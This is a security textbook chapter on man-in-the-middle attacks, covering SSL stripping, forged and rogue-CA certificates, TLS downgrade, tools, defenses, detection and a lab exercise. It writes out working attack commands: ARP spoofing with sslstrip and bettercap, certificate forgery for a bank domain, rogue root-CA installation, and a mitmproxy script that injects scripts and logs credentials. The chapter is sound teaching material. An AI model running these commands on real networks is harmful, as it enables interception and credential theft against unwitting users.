Part II: Vulnerability Study Chapter 6

Man-in-the-Middle Attack Patterns

SSL stripping, certificate attacks, protocol downgrade, proxy attacks, and MITM defense strategies

Chapter 6: Man-in-the-Middle Attack Patterns

The DigiNotar Disaster

In late August 2011, an Iranian Gmail user noticed a certificate warningβ€”and took the unusual step of investigating rather than clicking through. He posted to a Google forum, triggering an investigation that exposed one of the most damaging Certificate Authority compromises in history.

DigiNotar, a Dutch certificate authority, had been breached in June 2011, but didn’t detect the intrusion. Attackers issued over 500 fraudulent SSL certificatesβ€”including one for *.google.comβ€”that were used to intercept Iranian citizens’ Gmail communications during politically sensitive times. For over a month, users in Iran thought they had secure, encrypted connections to Google, but their traffic was being intercepted, decrypted, read, and re-encrypted.

Fox-IT’s forensic investigation revealed DigiNotar’s security was severely lackingβ€”no antivirus on critical servers, outdated software, and weak passwords. The compromise was catastrophic: within weeks, DigiNotar’s parent company (VASCO Data Security) wrote off the acquisition entirely. All major browsers revoked trust in DigiNotar certificates. The Dutch government, whose PKI-overheid certificates were also compromised, faced a crisis as government websites scrambled for replacements.

This incident exposed the fundamental weakness of the certificate authority system: we trust hundreds of CAs worldwide, and compromise of ANY ONE can enable man-in-the-middle attacks against ANY website. This chapter explores MITM attacks in depthβ€”from basic interception to sophisticated certificate manipulation.


Understanding MITM Position

A Man-in-the-Middle (MITM) attack occurs when an attacker secretly positions themselves between two communicating parties, intercepting and potentially modifying their communications.

ManintheMiddle Position

Man-in-the-Middle Position:
═══════════════════════════════════════════════════════════════════

NORMAL COMMUNICATION:
Client ◄═══════════════════════════════════════════════► Server
               Direct, unintercepted connection

MITM POSITION:
Client ◄═══════════► Attacker ◄═══════════════════════► Server
    β”‚                    β”‚                                 β”‚
    β”‚  Client thinks     β”‚  Attacker can:                  β”‚
    β”‚  it's talking      β”‚  β€’ Read all traffic             β”‚
    β”‚  to Server         β”‚  β€’ Modify traffic               β”‚
    β”‚                    β”‚  β€’ Inject content               β”‚
    β”‚                    β”‚  β€’ Steal credentials            β”‚
    β”‚                    β”‚                                 β”‚
    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                    Both sides unaware of interception

Achieving MITM Position

MethodLayerDescriptionPrerequisites
ARP Spoofing2Poison ARP cacheSame LAN segment
DNS Spoofing7Return fake DNS responsesDNS access/poisoning
DHCP Spoofing7Become rogue DHCP serverSame LAN segment
BGP Hijacking3Announce victim’s routesBGP peering
WiFi Evil Twin1Create fake access pointPhysical proximity
Physical Tap1Hardware interceptionPhysical access
Compromised Router3Control network deviceRouter access
Rogue Proxy7Malicious proxy serverProxy configuration

MITRE ATT&CK Reference

MITM attacks map to:

  • T1557 - Adversary-in-the-Middle
  • T1557.001 - LLMNR/NBT-NS Poisoning
  • T1557.002 - ARP Cache Poisoning
  • T1557.003 - DHCP Spoofing
  • T1040 - Network Sniffing

SSL/TLS Interception Challenges

TLS encryption should prevent MITM attacks, but attackers have developed techniques to circumvent it.

TLS Protection (When Working Correctly)

TLS Protection (When Working Correctly):
═══════════════════════════════════════════════════════════════════

Client                                                Server
   β”‚                                                     β”‚
   │──── ClientHello ───────────────────────────────────►│
   β”‚                                                     β”‚
   │◄─── ServerHello + Certificate ──────────────────────│
   β”‚                                                     β”‚
   β”‚     Client VALIDATES:                               β”‚
   β”‚      Certificate signed by trusted CA              β”‚
   β”‚      Certificate matches requested hostname        β”‚
   β”‚      Certificate not expired                       β”‚
   β”‚      Certificate not revoked                       β”‚
   β”‚                                                     β”‚
   │──── Key Exchange ──────────────────────────────────►│
   β”‚                                                     β”‚
   │◄════ ENCRYPTED SESSION ════════════════════════════►│
   β”‚      Attacker sees only ciphertext                  β”‚

Even with MITM position, attacker can't decrypt
without breaking certificate validation

Breaking TLS: Attack Vectors

AttackTargetOutcome
SSL StrippingHTTP→HTTPS redirectDowngrade to unencrypted
Fake CertificateCertificate validationPresent attacker’s cert
CA CompromiseTrusted CAIssue legitimate-looking certs
Certificate Pinning BypassApp pinningAttack pinned apps
Protocol DowngradeTLS versionForce weaker crypto

SSL Stripping Attack

Attack Overview

SSL stripping intercepts the HTTP→HTTPS redirect and keeps the client on HTTP while maintaining HTTPS to the server.

SSL Stripping Attack

SSL Stripping Attack:
═══════════════════════════════════════════════════════════════════

NORMAL BEHAVIOR:
1. User types: bank.com (no https://)
2. Browser: GET http://bank.com
3. Server: 301 Redirect to https://bank.com
4. Browser: GET https://bank.com
5. Secure connection established

SSL STRIPPING:
1. User types: bank.com
2. Browser: GET http://bank.com
3. ATTACKER intercepts
4. ATTACKER connects to https://bank.com (secure)
5. ATTACKER responds to victim with http:// version

User ◄──── HTTP (cleartext) ────► Attacker ◄──── HTTPS ────► Bank
                                     β”‚
                                     └── Attacker sees/modifies all!

User thinks: "I'm on bank.com" (no lock icon, but often ignored)
Reality: Credentials sent in cleartext through attacker

Practical Implementation

Using sslstrip:

# Step 1: Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Step 2: ARP spoof to get MITM position
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 &
arpspoof -i eth0 -t 192.168.1.1 192.168.1.100 &

# Step 3: Redirect HTTP traffic to sslstrip
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

# Step 4: Run sslstrip
sslstrip -l 8080

# Captured credentials appear in sslstrip.log
tail -f sslstrip.log

Using Bettercap:

# Modern, all-in-one approach
sudo bettercap -iface eth0

# Enable MITM modules
Β» set arp.spoof.targets 192.168.1.100
Β» set arp.spoof.fullduplex true
Β» arp.spoof on

# Enable SSL stripping
Β» set http.proxy.sslstrip true
Β» http.proxy on

# Sniff credentials
Β» net.sniff on

Modern Defenses Against SSL Stripping

HSTS (HTTP Strict Transport Security):

HSTS Response Header

HSTS Response Header:
═══════════════════════════════════════════════════════════════════

Server sends:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Browser behavior:
1. Records "this domain is HTTPS-only"
2. Future requests automatically upgraded to HTTPS
3. BEFORE any HTTP request is made
4. SSL stripping can't intercept the upgrade

LIMITATION: First visit is still vulnerable
SOLUTION:  HSTS Preload list (built into browsers)

Checking HSTS Preload:

# Check if domain is preloaded
curl -I https://hstspreload.org/api/v2/status?domain=google.com

# Submit for preloading
# https://hstspreload.org

Certificate Attacks

Self-Signed Certificate Attack

Simplest TLS MITM: present a self-signed certificate and hope user clicks through warnings.

SelfSigned Certificate Attack

Self-Signed Certificate Attack:
═══════════════════════════════════════════════════════════════════

User ◄──── TLS with attacker cert ────► Attacker ◄──── TLS ────► Server
                   β”‚
                   └── Certificate warning!
                       "Your connection is not private"
                       
Most users: Click "Advanced" β†’ "Proceed anyway"
Result: Attacker decrypts, inspects, re-encrypts all traffic

Generating Attack Certificate:

# Generate self-signed certificate for target domain
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 \
    -nodes -subj "/CN=www.targetbank.com"

# Use with mitmproxy
mitmproxy --mode transparent --ssl-insecure \
    --certs *=cert.pem

Installing Rogue CA

More sophisticated: install attacker’s CA certificate on victim’s system.

Rogue CA Attack

Rogue CA Attack:
═══════════════════════════════════════════════════════════════════

1. Create attacker CA:
   openssl genrsa -out ca.key 4096
   openssl req -x509 -new -nodes -key ca.key -sha256 -days 1024 -out ca.crt

2. Install CA on victim's machine (requires access):
   - Windows: certutil -addstore "Root" ca.crt
   - macOS: security add-trusted-cert -d -r trustRoot ca.crt
   - Linux: cp ca.crt /usr/local/share/ca-certificates/ && update-ca-certificates

3. Generate certificates signed by attacker CA on-the-fly
   
4. Browser trusts attacker-signed certificates!
   No warnings, user sees valid lock icon

Attack vectors for installing rogue CA:
- Malware payload
- Physical access to device
- Social engineering ("install this security certificate")
- Corporate MITM (legitimate but monitored)

Certificate Transparency

Certificate Transparency (CT) creates public logs of all certificates, making rogue certificates detectable.

Certificate Transparency

Certificate Transparency:
═══════════════════════════════════════════════════════════════════

BEFORE CT:
CA issues certificate β†’ No public record
Rogue certificate could exist undetected

WITH CT:
CA issues certificate β†’ Must submit to CT logs β†’ Public record
Anyone can monitor for unexpected certificates

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    CT Log Servers                               β”‚
β”‚                                                                 β”‚
β”‚  All certificates for your domain:                              β”‚
β”‚  - Issued by: DigiCert, 2024-01-15 (legitimate)                 β”‚
β”‚  - Issued by: Let's Encrypt, 2024-03-01 (legitimate)            β”‚
β”‚  - Issued by: Unknown CA, 2024-04-10 (SUSPICIOUS!)              β”‚
β”‚                                                                 β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Monitor your domains: https://crt.sh/?q=%25.yourdomain.com

Monitoring CT Logs:

# Search CT logs for your domain
curl "https://crt.sh/?q=%25.example.com&output=json" | jq .

# Set up monitoring with certspotter
# https://sslmate.com/certspotter/

# Facebook CT monitoring
# https://developers.facebook.com/tools/ct/

Protocol Downgrade Attacks

TLS Downgrade

Force weaker TLS version to exploit known vulnerabilities.

TLS Downgrade Attack

TLS Downgrade Attack:
═══════════════════════════════════════════════════════════════════

NORMAL NEGOTIATION:
Client: "I support TLS 1.3, 1.2, 1.1"
Server: "Let's use TLS 1.3"
(Secure)

DOWNGRADE ATTACK:
Client: "I support TLS 1.3, 1.2, 1.1"
Attacker modifies to: "I only support TLS 1.0"
Server: "OK, TLS 1.0" (vulnerable to BEAST, POODLE, etc.)

PROTECTION:
TLS 1.3 includes downgrade protection:
- Server random ends with specific bytes if downgrading
- Client detects and aborts

POODLE Attack (SSL 3.0)

Padding Oracle On Downgraded Legacy Encryptionβ€”exploits SSL 3.0’s padding.

# Test for SSL 3.0 support (shouldn't exist anymore)
openssl s_client -connect target.com:443 -ssl3

# If connection succeeds, vulnerable to POODLE

# Mitigation: Disable SSL 3.0 server-side
# Nginx:
ssl_protocols TLSv1.2 TLSv1.3;

DROWN Attack (SSLv2)

Decrypting RSA with Obsolete and Weakened eNcryptionβ€”uses SSLv2 to attack TLS.

# Test for SSLv2 (or shared keys with SSLv2 server)
# Even if YOUR server doesn't support SSLv2,
# if private key is used on ANY server with SSLv2, vulnerable

# Scan with testssl.sh
testssl.sh --drown target.com:443

MITM Tool Comparison

ToolStrengthsBest For
BettercapModern, scriptable, active developmentGeneral MITM
mitmproxyExcellent HTTP inspection, Python APIWeb traffic analysis
EttercapPlugin architecture, GUI availableClassic MITM
SSLsplitTransparent SSL interceptionSSL forensics
Burp SuiteWeb app testing, extensive featuresWeb security testing

mitmproxy Deep Dive

# Install mitmproxy
pip install mitmproxy

# Basic transparent proxy
mitmproxy --mode transparent

# With SSL interception (requires CA installed)
mitmproxy --mode transparent --ssl-insecure

# Scripted manipulation
mitmproxy -s modify_traffic.py

Traffic modification script:

# modify_traffic.py
from mitmproxy import http

def response(flow: http.HTTPFlow) -> None:
    """Modify HTTP responses"""
    
    # Inject JavaScript into HTML pages
    if flow.response and "text/html" in flow.response.headers.get("content-type", ""):
        flow.response.text = flow.response.text.replace(
            "</body>",
            '<script>alert("Injected!")</script></body>'
        )
    
    # Log credentials
    if flow.request.method == "POST":
        print(f"POST to {flow.request.url}")
        print(f"Data: {flow.request.text}")

def request(flow: http.HTTPFlow) -> None:
    """Modify HTTP requests"""
    
    # Strip security headers
    if "X-Frame-Options" in flow.request.headers:
        del flow.request.headers["X-Frame-Options"]

HSTS Bypass Techniques

HSTS Limitations

HSTS Bypass Scenarios

HSTS Bypass Scenarios:
═══════════════════════════════════════════════════════════════════

1. FIRST-TIME VISITOR:
   - No HSTS header received yet
   - First connection can be stripped
   - Solution: HSTS Preload list

2. NEW SUBDOMAIN:
   - HSTS may not include subdomains
   - Attack: mail.bank.com instead of www.bank.com
   - Solution: includeSubDomains directive

3. EXPIRED HSTS:
   - max-age has passed since last visit
   - Solution: Long max-age, preload

4. SIMILAR DOMAIN:
   - HSTS only protects exact domain
   - Attack: www.bank-secure.com instead of www.bank.com
   - Solution: User awareness

SSLStrip2/LeonardoNve Bypass

# Replace HTTPS links with similar-looking HTTP domains
# www.facebook.com β†’ wwww.facebook.com (extra w)
# Bank.com β†’ bank.corn (using 'rn' for 'm')

# The bypass domain resolves to attacker
# Attacker serves HTTP (no HSTS because different domain)

Defending Against MITM

Server-Side Defenses

# Nginx - Complete TLS hardening
server {
    listen 443 ssl http2;
    
    # Strong TLS configuration
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
    ssl_prefer_server_ciphers off;
    
    # HSTS
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
    
    # Prevent downgrade attacks
    ssl_session_tickets off;
    
    # OCSP Stapling
    ssl_stapling on;
    ssl_stapling_verify on;
}

Client-Side Defenses

Certificate Pinning (Mobile Apps):

// iOS - Certificate Pinning Example
let pinnedCertificates: [SecCertificate] = loadPinnedCertificates()

func urlSession(_ session: URLSession, 
                didReceive challenge: URLAuthenticationChallenge,
                completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) {
    
    guard let serverTrust = challenge.protectionSpace.serverTrust,
          let serverCertificate = SecTrustGetCertificateAtIndex(serverTrust, 0) else {
        completionHandler(.cancelAuthenticationChallenge, nil)
        return
    }
    
    // Compare server certificate with pinned certificates
    if pinnedCertificates.contains(serverCertificate) {
        completionHandler(.useCredential, URLCredential(trust: serverTrust))
    } else {
        completionHandler(.cancelAuthenticationChallenge, nil)
    }
}

Network Defenses

# Detect ARP spoofing
sudo arpwatch -i eth0

# Static ARP entries for critical hosts
arp -s gateway_ip gateway_mac

# Enable DAI on switches (see Chapter 2)

MITM Detection

Client-Side Detection

# Check certificate details
echo | openssl s_client -connect google.com:443 2>/dev/null | openssl x509 -noout -issuer -subject

# Expected: Legitimate issuer
# Suspicious: Unknown issuer, self-signed

# Compare certificate fingerprints
echo | openssl s_client -connect google.com:443 2>/dev/null | \
    openssl x509 -fingerprint -sha256 -noout

Network Detection

# Monitor for certificate changes
# Use tools like ssl-cert-check, certwatch

# IDS rules for suspicious TLS behavior
# - Self-signed certificates for known domains
# - Certificate errors
# - Unexpected CAs

Lab Exercise: MITM Attack and Defense

Objective

Understand MITM attacks by performing and detecting them in a controlled environment.

Environment

Lab Setup

Lab Setup:
β”œβ”€β”€ Attacker: Kali Linux (192.168.1.50)
β”œβ”€β”€ Victim: Ubuntu Desktop (192.168.1.100)
β”œβ”€β”€ Gateway: Router (192.168.1.1)
β”œβ”€β”€ Target: DVWA or custom web server (192.168.1.200)
└── Network: Isolated lab VLAN

Exercise 1: SSL Stripping

# On Attacker:
# 1. Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# 2. Set up ARP spoofing
sudo bettercap -iface eth0
Β» set arp.spoof.targets 192.168.1.100
Β» arp.spoof on

# 3. Enable SSL stripping
Β» set http.proxy.sslstrip true
Β» http.proxy on
Β» net.sniff on

# On Victim:
# Browse to HTTP version of a site that redirects to HTTPS
# Observe that connection remains HTTP (no lock icon)

# On Attacker:
# Observe captured credentials in bettercap output

Exercise 2: Certificate Warning Analysis

# On Attacker:
# Use mitmproxy with self-signed cert
mitmproxy --mode transparent --ssl-insecure

# On Victim:
# Browse to HTTPS site
# Observe certificate warning
# Examine certificate details (issuer, subject)

Exercise 3: Detection

# On Victim:
# Monitor ARP table for changes
watch -n 1 'arp -a'

# Notice gateway MAC address changes
# Install arpwatch for automatic detection
sudo arpwatch -i eth0

Key Takeaways

  1. MITM requires positioning firstβ€”ARP spoofing, DNS poisoning, or physical access

  2. SSL stripping exploits the HTTP→HTTPS redirect—HSTS preloading is the defense

  3. Certificate attacks range from fake certs to CA compromiseβ€”Certificate Transparency enables detection

  4. Protocol downgrade attacks force weaker cryptoβ€”disable legacy protocols

  5. Defense is layered: HSTS, certificate pinning, CT monitoring, and network security controls


Self-Assessment

  1. Comprehension: Why does HSTS preloading provide better protection than regular HSTS?

  2. Application: An attacker has installed their CA certificate on a corporate laptop. What attacks are now possible, and how would you detect this?

  3. What if: You’re conducting a security assessment and achieve MITM position. The target uses certificate pinning. What are your options?


Review Questions

  1. What’s the difference between SSL stripping and a certificate attack?
  2. How does HSTS protect against SSL stripping, and what are its limitations?
  3. Explain how Certificate Transparency helps detect rogue certificates.
  4. What is required for a TLS downgrade attack to succeed?
  5. How does certificate pinning provide additional security beyond CA trust?
  6. What network controls help prevent MITM positioning?

MITRE ATT&CK Mapping

AttackTechnique IDTactic
ARP Spoofing MITMT1557.002Credential Access
SSL StrippingT1557Credential Access
Rogue CertificateT1557Credential Access
DNS Spoofing MITMT1557.004Credential Access
Content InjectionT1659Execution